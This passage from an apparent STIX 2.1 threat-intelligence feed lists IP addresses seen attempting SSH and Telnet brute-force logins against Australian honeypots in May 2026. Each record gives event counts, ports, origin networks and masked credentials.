      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.1.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 421. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, c***o, s*****t, u**t. Passwords observed (masked): p******d, 0**************D, 1**4, 1****6, a***n.",
      "id": "indicator--3fc7b966-03e5-4d6a-a8d1-9c8275d71ef6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.150.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 9506. Organisation(s): Singtel Fibre Broadband.",
      "id": "indicator--1562231c-f358-474a-9b87-38af27abb0a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.74.222.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262369. Organisation(s): ok virtual provedor de internet ltda.",
      "id": "indicator--46d982ff-42ba-48f8-837c-721c887b9e58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.0.44.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 98. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--aca45d07-cf5c-42b1-849f-ea227acaddfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.48.130.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GT. ASN(s): 52362. Organisation(s): Servicios Innovadores de Comunicacion y Entretenimiento, S.A..",
      "id": "indicator--0d8a21aa-2d39-4a64-925a-8fbdac50564e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.150.31.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 7470. Organisation(s): TRUE INTERNET Co.,Ltd..",
      "id": "indicator--13540206-6aac-48c9-a203-9b711503e530",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.103.57.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 588. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--4e20489a-1e5a-4433-9d71-133d54516cf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.249.31.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t. Passwords observed (masked): V*******5, V******3, v*******..",
      "id": "indicator--eb371501-1dd6-48a3-893c-782f17046682",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--71f700a0-e12c-4965-85c0-9101a1e68029",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.82.191.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--4c6707cf-1203-4619-aad3-5190dc6bab15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Usernames observed (masked): r**t, a***n. Passwords observed (masked): , a***n, r**t.",
      "id": "indicator--cefa3568-da76-4a69-92c0-b3d019af4e51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--18c66c70-cede-4bf1-ba84-87fb0c0eb660",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.101.138.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5e78e570-e2e0-4002-ad7d-259068bfac9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.146.163.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 35753. Organisation(s): Etihad Salam Telecom CJSC.",
      "id": "indicator--636ceec1-780a-431f-8d5e-6c243c379770",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.167.239.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:15:10.000Z",
      "valid_until": "2026-06-03T01:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 153413. Organisation(s): HT3 VIETNAM TECHNOLOGY INVESTMENT AND DEVELOPMENT JOINT STOCK COMPANY. Usernames observed (masked): r**t, 3**********4, ***, d*****p, d****r. Passwords observed (masked): 1****1, 1****6, 1******x, 3***********4, 3**********4.",
      "id": "indicator--0115c751-eac3-430c-beaf-bc079d8b8784",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.159.54.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 133731. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t. Passwords observed (masked): A******7.",
      "id": "indicator--b43be287-245c-4349-9391-49eb8942821e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.231.14.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 55688. Organisation(s): PT. Beon Intermedia.",
      "id": "indicator--707fccf9-6530-4e96-bc94-c2dcbe7a5c20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.56.149.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): i*******r.",
      "id": "indicator--311be514-cf0f-48e4-b3cb-f1c8d595113c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.182.194.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 29256. Organisation(s): Syrian Telecommunication Private Closed Joint Stock Company.",
      "id": "indicator--5132bc4e-ece0-4df5-ae97-269f61211467",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.43.149.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 254. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--8f8d07f0-fe6a-4119-b4be-83861320c54a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.163.169.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--2079f1f9-e863-4150-a0e4-635e3b0ad796",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.56.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c1ecdc01-23c3-4730-82fa-0d49feca56c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269820. Organisation(s): FULL DATA COMUNICACIONES C.A..",
      "id": "indicator--a2fbd0b3-d2ca-4e84-9309-bf5bfbe10e01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.43.203.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--db787301-9c02-42df-ba2f-67af6f8de11d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.124.174.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******s.",
      "id": "indicator--ee2d7591-8b92-4584-8092-45d45d9b63a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--c1df5189-63c0-44bf-b74d-d6e21127091f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.101.93.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:15:10.000Z",
      "valid_until": "2026-06-03T02:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, u****u, a***n, s******n, 3**********4. Passwords observed (masked): ***, 0****0, *, 1****1, 1****2.",
      "id": "indicator--6d6b8da3-8395-47de-a057-77c2c07c2e92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.143.231.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 134768. Organisation(s): CHINANET SHAANXI province Cloud Base network.",
      "id": "indicator--742a3f49-40b7-4b8d-8ffb-a718d4216b1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.141.70.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 38841. Organisation(s): kbro CO. Ltd..",
      "id": "indicator--f6dc20cb-22d8-40cc-b5f0-2a9bb5ad5c97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.233.0.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 3484. Organisation(s): Instituto Politecnico Nacional.",
      "id": "indicator--508ac4e3-b7a9-4cdc-abad-ddb9ab9277da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.204.11.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--abd2e52b-983e-4380-8464-1dc8795a668b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 35041. Organisation(s): Binero AB.",
      "id": "indicator--2cdabb9e-6e20-419d-ba03-09682515d759",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.102.213.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--71fb9a28-26f9-4305-a979-6a1b724bdf7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.195.116.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MU. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd. Usernames observed (masked): r**t, u****u, a***n, s******n, 3**********4. Passwords observed (masked): ***, 0****0, *, 1****1, 1****2.",
      "id": "indicator--008c665f-284a-46e3-8c72-35468af40b0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.191.229.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269211. Organisation(s): MUND NET TELECOMUNICACOES LTDA ME.",
      "id": "indicator--c949b7a7-0c7d-420f-bf64-4d269874a06e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.181.33.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
